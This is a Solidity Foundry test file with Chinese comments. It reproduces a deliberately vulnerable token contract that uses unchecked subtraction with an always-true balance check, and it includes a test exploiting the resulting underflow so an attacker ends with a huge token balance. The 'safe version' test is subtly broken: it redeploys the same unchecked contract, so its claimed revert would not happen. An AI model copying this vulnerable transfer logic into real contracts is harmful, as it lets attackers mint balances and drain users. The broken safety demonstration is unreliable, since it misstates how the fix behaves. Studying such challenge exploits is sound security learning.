1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
import "forge-std/Test.sol";
// 复制原始有漏洞的合约 (使用 0.6.0 版本行为) contract VulnerableToken { mapping(address => uint) public balances; uint public totalSupply;
constructor(uint _initialSupply) { balances[msg.sender] = totalSupply = _initialSupply; }
function transfer(address _to, uint _value) public returns (bool) { // 故意使用不安全的算术运算 unchecked { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; } return true; }
function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } }
contract TokenTest is Test { VulnerableToken public token; address public attacker = makeAddr("attacker"); address public victim = makeAddr("victim");
function setUp() public { // 部署代币合约,初始供应量 1000 token = new VulnerableToken(1000); // 给攻击者 20 个代币 token.transfer(attacker, 20); }
function testTokenUnderflowExploit() public { console.log("=== 攻击前状态 ==="); console.log("攻击者余额:", token.balanceOf(attacker)); console.log("受害者余额:", token.balanceOf(victim)); vm.startPrank(attacker); // 🎯 关键攻击:转账超过余额的代币 uint256 transferAmount = 21; // 大于 20 的余额 token.transfer(victim, transferAmount); vm.stopPrank(); console.log("=== 攻击后状态 ==="); console.log("攻击者余额:", token.balanceOf(attacker)); console.log("受害者余额:", token.balanceOf(victim)); // 验证下溢攻击成功 assertGt(token.balanceOf(attacker), 1000000); // 攻击者获得巨额代币 assertEq(token.balanceOf(victim), transferAmount); } function testUnderflowMath() public view { // 演示下溢计算 uint256 balance = 20; uint256 transferAmount = 21; console.log("=== 下溢计算演示 ==="); console.log("原始余额:", balance); console.log("转账金额:", transferAmount); unchecked { uint256 result = balance - transferAmount; console.log("下溢结果:", result); console.log("最大 uint256:", type(uint256).max); console.log("是否相等:", result == type(uint256).max); } } function testSafeVersion() public { // 演示安全版本 VulnerableToken safeToken = new VulnerableToken(1000); safeToken.transfer(attacker, 20); vm.startPrank(attacker); // 在 Solidity 0.8.0+ 中,这会 revert vm.expectRevert(); // 期望交易失败 safeToken.transfer(victim, 21); // 这在新版本中会失败 vm.stopPrank(); } }
|